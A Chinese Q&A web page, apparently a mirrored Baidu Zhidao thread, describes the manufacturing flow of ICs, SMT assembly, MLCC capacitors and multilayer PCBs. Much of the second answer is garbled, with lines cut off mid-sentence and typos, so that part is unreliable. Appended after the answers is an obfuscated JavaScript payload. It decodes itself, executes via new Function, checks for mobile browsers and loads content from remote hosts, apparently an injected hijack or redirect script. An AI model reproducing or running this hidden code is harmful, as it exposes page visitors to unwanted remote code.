电子元件生产工艺流程图

2024-11-13 21:59:36
推荐回答(4个)
回答(1):

一、IC生产工艺流程图

整个流程分为六个部分:单晶硅片制造,IC设计,光罩制作,IC制造,IC测试和封装。

1、单晶硅片制造

单晶硅片是用来制造IC的,单晶硅片制造流程主要有拉晶、切割、研磨、抛光和清洗。

2、IC设计

IC设计主要是设计电路,并把设计好的电路转化为版图。

3、光罩制作

光罩制作是指将IC设计中心已设计好的电路版图以同样比例或减小比例转化到一块玻璃板上。

4、IC制造  

IC制造是指在单晶硅片上制作集成电路芯片,其流程主要有蚀刻、氧化、扩散/离子植入、化学气相沉积薄膜和金属溅镀。拥有上述功能的公司一般被称为晶圆代工厂。

5、IC测试 

在产品销售给客户前,为了确保IC的质量,在IC封装前(晶圆点测)或者封装后(终测)要对其功能进行测试。  

6、IC封装 

IC封装是指晶圆点测后对IC进行封装,其流程主要有晶圆切割、固晶、打线、塑封、切筋和成形、打码、终测、分选和编带。 

二、贴片电阻生产工艺流程图

工艺过程主要有三大基本操作步骤:涂布、贴装、焊接。

1、涂布   

涂布是将焊膏(或固化胶)涂布到PCB板上。涂布相关设备是:印刷机、点膏机。   

涂布相关设备是印刷机、点膏机。   

涂布设备:精密丝网印刷机、管状多点立体精密印刷机。   

2、贴装   

贴装是将器件贴装到PCB板上。   

相关设备贴片机。   

贴装设备:全自动贴片机、手动贴片机。   

3、回流焊: 

回流焊是将组件板加温,使焊膏熔化而达到器件与PCB板焊盘之间电气连接。   

相关设备:回流焊炉。

三、电容生产工艺流程图

1、原材料:陶瓷粉配料关键的部分(原材料决定MLCC的性能); 

2、球磨:通过球磨机(大约经过2-3天时间球磨将瓷份配料颗粒直径达到微米级); 3、配料——各种配料按照一定比例混合; 4、和浆——加添加剂将混合材料和成糊状; 

5、流沿:将糊状浆体均匀涂在薄膜上(薄膜为特种材料,保证表面平整); 

6、印刷电极:将电极材料以一定规则印刷到流沿后的糊状浆体上(电极层的错位在这个工艺上保证,不同MLCC的尺寸由该工艺保证); 

7、叠层:将印刷好电极的流沿浆体块依照容值的不同叠加起来,形成电容坯体版(具体尺寸的电容值是由不同的层数确定的); 

8、层压:使多层的坯体版能够结合紧密; 

9、切割:将坯体版切割成单体的坯体; 

10、排胶:将粘合原材料的粘合剂用390摄氏度的高温将其排除; 

11、焙烧:用1300摄氏度的高温将陶瓷粉烧结成陶瓷材料形成陶瓷颗粒(该过程持续几天时间,如果在焙烧的过程中温度控制不好就容易产生电容的脆裂);

12、倒角:将长方体的棱角磨掉,并且将电极露出来,形成倒角陶瓷颗粒; 

13、封端:将露出电极的倒角陶瓷颗粒竖立起来用铜或者银材料将断头封起来形成铜(或银)电极,并且链接粘合好电极版形成封端陶瓷颗粒(该工艺决定电容的); 

14、烧端:将封端陶瓷颗粒放到高温炉里面将铜端(或银端)电极烧结使其与电极版接触缜密;形成陶瓷电容初体; 

15、镀镍:将陶瓷电容初体电极端(铜端或银端)电镀上一层薄薄的镍层,镍层一定要完全覆盖电极端铜或银,形成陶瓷电容次体(该镍层主要是屏蔽电极铜或银与最外层的锡发生相互渗透,导致电容老衰); 

16、镀锡:在镀好镍后的陶瓷电容次体上镀上一层锡想成陶瓷电容成体(锡是易焊接材料,镀锡工艺决定电容的可焊性); 

17、测试:该流程必测的四个指标:耐电压、电容量、DF值损耗、漏电流Ir和绝缘电阻Ri(该工艺区分电容的耐电压值,电容的精确度等) 

扩展材料:

流程图的基本符号 

1、设计流程图的难点在于对业务逻辑的清晰把握。熟悉整个流程的方方面面。这要求设计者自己对任何活动、事件的流程设计,都要事先对该活动、事件本身进行深入分析,研究内在的属性和规律,

在此基础上把握流程设计的环节和时序,做出流程的科学设计,研究内在属性与规律,这是流程设计应该考虑的基本因素。 也是设计一个好的流程图的前提条件。

2、根据事物内在属性和规律进行具体分析,将流程的全过程,按每个阶段的作用、功能的不同,分解为若干小环节,每一个环节都可以用一个进程来表示。在流程图中进程使用方框符号来表达。

3、既然是流程,每个环节就会有先后顺序,按照每个环节应该经历的时间顺序,将各环节依次排开,并用箭头线连接起来。 箭头线在流程图中表示各环节、步骤在顺序中的进程,某环节,按需要可在方框中或方框外,作简要注释,也可不作注释。 

4、经常判断是非常重要的,用来表示过程中的一项判定或一个分岔点,判定或分岔的说明写在菱形内,常以问题的形式出现。对该问题的回答决定了判定符号之外引出的路线,每条路线标上相应的回答。

参考资料:百度百科-流程图分析法

回答(2):

你好:其实这几个简单的电子器件的生产都挺复杂的!
现在简单说一下一些基本的知识,希望能给你带来帮助。

SMT技术简介

表面贴装技术(Surfacd Mounting Technolegy简称SMT)是新一代电子组装技术,它将传统的电子元器

件压缩成为体积只有几十分之一的器件,从而实现了电子产品组装的高密度、高可靠、小型化、低成本,

以及生产的自动化。这种小型化的元器件称为:SMY器件(或称SMC、片式器件)。将元件装配到印刷

(或其它基板)上的工艺方法称为SMT工艺。相关的组装设备则称为SMT设备。

目前,先进的电子产品,特别是在计算机及通讯类电子产品,已普遍采用SMT技术。国际上SMD器

件产量逐年上升,而传统器件产量逐年下降,因此随着进间的推移,SMT技术将越来越普及。

SNT工艺及设备

<1> 基本步骤:

SMT工艺过程主要有三大基本操作步骤:涂布、贴装、焊接。

涂布

—涂布是将焊膏(或固化胶)涂布到PCB板上。涂布相关设备是:印刷机、点膏机。

—涂布相关设备是印刷机、点膏机。

—本公司可提供的涂布设备:精密丝网印刷机、管状多点立体精密印刷机。

贴装

—贴装是将SMD器件贴装到PCB板上。

—相关设备贴片机。

—本公司可提供的贴装设备:全自动贴片机、手动贴片机。

回流焊:

—回流焊是将组件板加温,使焊膏熔化而达到器件与PCB板焊盘之间电气连接。

—相关设备:回流焊炉。

—本公司可提供SMT回流焊设备。

<2> 其它步骤:

在SMT组装工艺中还有其它步骤:清洗、检测、返修(这些工艺步骤在传统的波峰沓工艺中也采用):

清洗

—将焊接过程中的有害残留物清洗掉。如果焊膏采用的是免清洗焊膏则本步骤可省去。

—相关设备气相型清洗机或水清洗机。 检测 —对组件板的电气功能及焊点质量进行检查及测试。

—相关设备在线仪、X线焊点分析仪。

返修

—如果组件在检测时发现有质量问题则需返修,即把有质量问题的SMD器件拆下并重行焊接。

—相关设备:修复机。

—本公司可提供修复机:型热风修复机。

<3>基本工艺流程及装备:

开始--->

涂布:用印刷机将焊膏或固化胶印刷PCB上

贴装:将SMD器件贴到PCB板上

---> 回流焊接?

合格<--

合格否<-

检测

清洗

回流焊:进行回流焊接

不合格<--

波峰焊:采用波峰焊机进行焊接

固化:将组件加热,使SMD器件固化在PCB板上

返修:对组件板上不良器件拆除并重新焊接
SMT相关知识

对叠好的层板进行热压,要控制适当以免半固化片边多地渗出,热压过程中半固化片固化,使多层层板粘合

后把多层板由夹具中取出,去除半固化片渗出的毛边。按多层电路板需要的通孔直径和位置生成程序,控制数控

钻孔,用压缩空气或水清除孔中的碎屑。通孔化学镀铜前,先用硫酸清理孔壁中铜层端面上的残留环氧树脂,以

接受化学镀铜。然后在孔壁的铜层端面和环氧端面上化学沉积一层铜。见图5-22。

1.阻焊膜盖在锡铅合金的电路图形上的工艺。由图5-19所示,首先将B阶段材料即半固化

片按电路内层板的尺寸剪裁成块,根据多层板的层数照图5-21的次序叠放,层压专用夹具

底层板上有定位销,把脱模纸套入定位销中垫在夹具的底层上,然后放在上铜箔,铜箔上

方放半固化片,半固化片上方放腐蚀好电路图形的内层层板在内层层板上方再放半固化

片,半固化片上方再放腐蚀好电路图形的内层层板,直至叠放到需要的层数后,在半固化

片上方再放一层铜箔和脱模纸,把夹具顶板的定位孔套入位销中。对专用夹具的定位装置

要求很严,因为它是多层印制电路板层间图形对准的保证。图5-21是一个八层板的示意

图。

对多层印制电路板的外层板进行图形转移,应把感光膜贴压在铜岐表面上,并将外层电路图形的照相底板平

再置于紫外线下曝光,对曝光后的电路板进行显影,显影后对没有感光膜覆盖的裸铜部分电镀铜和锡铅合金、电

膜,再以锡铅镀层为抗蚀剂把原来感光膜覆盖的铜层全部腐蚀掉,那么在多层负责制电路板的表面就形成有锡铅

和已电镀的通孔。

许多电路板为了和系统连接,在电路板边缘设计有连接器图形,俗称“金手指”。为了改善连接器的性能,

表面电镀镍层和金层,为了防止镀液污染电路板其它部位,应先在金手掼上方贴好胶带再进行电镀,电镀后揭下

加热使原镀有的锡铅层再流,再在组装时对不需焊接的部位覆盖上阻焊膜,防止焊接时在布线间产生焊锡连桥或

伤。然后在阻焊膜上印刷字符图(指元器件的框、序号、型号以及极性等),待字符油漆固化,再在电路板上钻

电路板要经过通断测试,要保证电路布线和互连通孔无断路、而布线间没有短路现象。一般可采用程控多探针针

目检电路图形、阻焊膜和字符图是否符合规范。

2.SMOBC工艺

SMOBC工艺如图5-20所示,前部分工艺和在锡铅层涂覆阻焊膜的多层板工艺相同。从第19道工序开始不同,

图形腐蚀后,就将电路图形上的锡铅层去除,在裸铜的电路图形上涂覆阻焊膜和印刷字符图。可是焊盘和互连通

露着铜,为了防止铜墙铁壁表面氧化影响可焊性和提高通孔镀层的可靠性,必须在焊盘表面和孔壁镀层上有锡铅

风整平(HAL)工艺,把已印好字符图的电路板浸入热风整平机的熔化焊锡槽中,并立即提起用强烈的热风束吹

的焊锡从焊盘靓面和电镀通孔中吹掉,这样的焊盘表面和通孔壁上留有薄而均匀的焊锡层,见图5-23。然后再在

器上镀金,钻非导电孔、进行通、断测试和自检。

印制电路板的重要检验指标是板面金属布线的剥离强度。对FR-4层板,在125℃下处理1小时后其剥离强度为

不小于0.89Kg。

表面组装用的电路板应采用SMOBC工艺制造,因为在阻焊膜下方的锡铅层,在再流焊接或波峰焊接时会产生
3、阻焊 膜和 电镀

(1)阻焊膜

传统印制板的组装密度低,很少采用阻膜。而SMT电路板一般采用阻焊膜。阻焊膜是一种聚全物材料主要分为非

的两大类(图5-24)。

1)非永久性的阻焊膜在波峰焊接时,波峰会穿过电路板的工具孔冲到非焊接面上,又如边缘连接器的导电

会影响插座的可靠性,因此在插装元件前用非永久性的阻焊膜 把工艺孔和金手指等表面覆盖起来,在清除过程

掉或溶解掉。

2)永久性的阻焊膜永久性的阻焊膜是电路板的一个组成部分,它的作用除防止波峰焊接时产生焊锡连桥外

表面上还可避免布线受机械损伤或化学腐蚀。

永久性的阻焊膜又分为干膜和湿膜二种。干膜是水基或溶剂基的聚合物薄膜,一般用真空贴压工艺把干膜贴在电

膜是液态或膏状的聚合物,可用紫外线或对流炉以及红外炉固化。

①干膜阻焊膜干膜阻焊膜的图形分辨率高,适用于高密度布线的电路板,能精确地和电路板上布线条对准。

的,所以不会流入电路板的通孔中,而且能盖信通孔,当电路板用针床测试时,要用真空吸住电路板来定位,通

对真空的建立极有帮助。另外干膜不易污染焊盘而影响焊接可靠性。

在使用过程中干膜也存在些不利的因素:

A:干膜阻焊膜贴压在电路板表面上,电路板表面有焊盘、布线,所以表面并不平整,加之干膜无流动性。

厚度。所以,干膜和电路板表面间就可能留有气体,受热后气体膨胀,干膜有可能发生破裂现象。

B、干膜的厚度比较厚,一般为0.08~0.1mm(3~4mil),干膜覆盖在表面组装的电路板上,会将片式电阻

开电路板表面,可能造成元件端头焊锡润湿不好。另外阻焊膜覆盖在片式元件下方焊盘之间,在再流焊接时可能

(即元件的一个端头在一个焊盘上直立起来)及元件偏移现象。

C、干膜阻焊膜的固化条件严格,若固化温度低或时间短则固化不充分,在清洗时会受溶剂的影响,固化过

脆,受热应力时可能产生裂纹。

D、耐热冲击能力差,据报导盖有干膜阻焊膜的电路板在-40~+100℃温度下循环100次就出现阻焊膜裂纹。

E、干膜比湿膜价格高

②湿膜阻焊膜湿膜有用丝网印刷涂覆工艺的和光图形转移涂覆工艺二种。

用丝网印刷工艺的湿膜可以和电路板表面严密贴合,在阻焊膜下方无气体,调节印刷参数可以控制湿膜层的厚度

于和高密度细布线图形精确对准,而且容易沾污焊盘表面,影响焊点质量。因为它呈液体状,有可能流入通孔而

虽有以上缺点,但是它的膜层结实而且价格便宜,所以在低密度布线的电路板中仍大量采用。

光图形转换的湿膜阻焊膜结合了干膜和湿膜的特点,涂覆工艺简单,图形分辨率高,适用于高密度、细线条

坚固而且价格比干膜便宜。光图形转换阻焊膜涂覆到电路板上可用丝网印刷或挂帘工艺。挂帘工艺是把印制板高

焊膜的挂历帘或悬泉装置,得到一层均匀的阻焊膜。

光图形转换的湿膜曝光可采用非接触式的。非接触式的曝光装置需要一套对准的光学系统,使光的绕射的散

形失真,因些投资大。而接触式曝光无需光学对准系统,直接在紫外线下曝光,这样可降低成本。

(2)电镀

电路板制造中需要电镀多种金属,如铜、金、镍和锡等电镀层的质量对电路板的可靠性着重要作用。

1)镀铜 电路板制造采用二种镀铜方法:化学镀铜和电镀铜。多层印制电路板中各层间的互连要靠通孔来

是由铜层端面和环氧端面相间组成,在这样的表面上要电镀一层边疆的电镀层是不可能的,因为环氧端面不导电

首先采用化学镀铜在孔壁上形成一层连续的铜沉积层,然后再用电镀工艺在孔壁上电镀铜层,这样电镀通孔就起

作用。

铜镀层的抗拉强度,也就是在拉伸情况下,镀层能承受的最在应力约为20.4~34Kg/mm2,_____抗拉强度越高则通

实。同时也希望镀层的延伸性好,即在镀层未断裂前允许被拉得长些,这样在镀层断裂前可产生“屈服”现象以

化学镀铜和电镀铜中剩余应力类型也不同,化学镀铜层中剩余应力是压缩应力,可提高化学镀铜层对孔壁上的铜

脂的粘合力,而电镀铜层中的剩余应力是拉伸应力,这也是在电镀铜前采用化学镀铜的原因之一。

表5-6列出了电路板上可用铜的初始重量和最终重量,注意,每盎司铜的厚度为1.4mil。所以使用1盎司铜时

1.4mil铜加上1mil锡铅镀层,共为2.4mil。

2)镀金 印制电路板边缘连接器的导电带(金手指),表面要镀上一层金层,以改善铜层表面的接触电阻

即使电路工作在高温高湿下,金表面层也不会氧化,这样就可保证电路板和系统插座间良好的接触。有多种镀金

型是按溶液的PH值划分的,有酸性镀金溶液、中性镀金溶液、氰化物碱性溶液和无氰碱性溶液。电镀层的性能和

很有关系,例如金镀层的硬度和多孔性是和电镀液的类型及具体电镀工艺参数密切相关的,连接器镀金一般采用

用钴作为抛光剂。

3)镀镍 电路板的镍层采用电镀工艺形成。镍层是作为镀金层的底层金属,电路板在镀金前先要在导电带上镀一

镀金层的附着力和耐磨性,同时镍和金层之间也形成势垒层,控制金属互化物的生成。

4)镀锡铅焊料 在电路板上要得到锡铅层有二种工艺,电镀法和热风整平法。

采用热风整平工艺得到的锡铅层致密度好和底层铜箔的附着力强,因为它们之间形成了金属互化物。但是热风整

不易控制,尤其在发求锡铅层厚度比较厚时,均匀性就比较差。

电镀的锡铅层其厚度容易控制,而且也均匀,但是电镀层的致密度差,多孔一般电镀后的锡铅层要加热再流,改

性。因此电镀铅锡工艺在印刷电路板制造中仍被广泛应用。
4、导通孔、定位孔和标号

(1)小导通孔

SMT电路板一般采用小导通孔。表5-7列出导通孔范围,所采用的钻孔方法和成本。通孔开头比是指基板厚度

比,典型的比率为5:1。利用高速钻孔机可达到10:1。通孔形状比是决定多层板的可靠性和通孔镀层的质量关

5-25为通孔位置。

(2)环形圈(Annular Rings)

环形圈是指尺寸大于钻孔的焊盘,用作有引线元件的焊接区域,防止钻孔偏斜,通孔也可用于互连和测试。

层焊盘尺寸可不同。见图5-26、图5-27和表5-8。

(3)定位孔

这里定位孔是用于组装和测试和固定孔,大多是非镀通孔,必须在第一次钻孔时做出,并与板上其它孔尽可

孔的尺寸通常为0.003"。所有定位孔应标出彼此的间距和到PCB基准点和另一个镀通孔的尺寸,定位误差一般为

(4)基准标号

基准标号主要有三类:总体(Globcl),拼板(Local)如图5-29所示。标号为裸铜面,通常离阻焊膜距离

有锡铅镀层,最大厚度为2mil。最好采用非永久性阻焊涂覆在标号上。

5、拼板加工

在SMT中,除了大、中型计算机用多层板外,大多数的PCB面积较小,为了充分利用基材,高效率地制造、安

往往将同一电子设备上的几种小块印制板,或多块同种小型印制板拼在一张较大的板面上。板面除了有每种(块

电路图形之外,还设计有制造工艺夹持边和安装工艺孔,以及定位标记。板面上所有的元器件装焊完毕,甚至在

后,才将每种小块印制板从大的拼版上分离下来。常用的分离技术是V型槽分离法。

对PCB的拼版格式有以下几点要求。

(1)拼版的尺寸不可太大,也不可太小,应以制造、装配和测试过程中便于加工,不产生较大形变为宜。

(2)拼版的工艺夹持边和安装工艺孔应由SMB的制造和安装工艺来确定。

(3)除了制造工艺所需的定位孔之外,拼版上通常还需要设置1~2组(每组2个)安装工艺孔。孔的位置和

安装设备来决定,孔径一般为Φ2.5~Φ2.8mm。每组定位孔中一个孔应为椭圆形(如图5-30),以保证SMB能迅

地放置在表面安装设备的夹具上。

(4)若表面安装设备采用了光学对准定位系统,应在每件拼版上设置光学对准标记,

(5)拼版的非电路图形区原则上应是无铜箔,无阻焊剂的绝缘基材。

(6)拼板的连接和分离方式,主要采用双面对刻的V型槽来实现,V型槽深度一般控制在板厚的1/6~1/8左

回答(3):

电子元件包罗万象,不同的元件,有不同的生产工艺流程。
要是都写出来的话,就超过了“百度知道”对字数的限制了,更别说图片了!

仅仅楼主列出的IC、电阻、电容,种类就有很多种,就有很多种工艺流程,就不可能在这里写下来。

回答(4):

谢谢!
看来只有自己将来在工作中学习了。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();